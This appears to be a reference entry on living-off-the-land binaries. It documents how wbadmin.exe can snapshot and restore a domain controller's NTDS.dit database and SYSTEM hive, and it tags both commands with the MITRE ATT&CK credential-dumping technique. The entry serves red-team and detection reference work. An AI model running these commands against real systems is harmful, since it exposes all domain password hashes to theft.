wbadmin.exe

Windows Backup Administration utility

Dump

Snapshoting of Active Directory NTDS.dit database

wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx) — MITRE: T1003.003 — Privileges: Administrator, Backup Operators, SeBackupPrivilege

Dumping of Active Directory NTDS.dit database

wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet

Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers. — MITRE: T1003.003 — Privileges: Administrator, Backup Operators, SeBackupPrivilege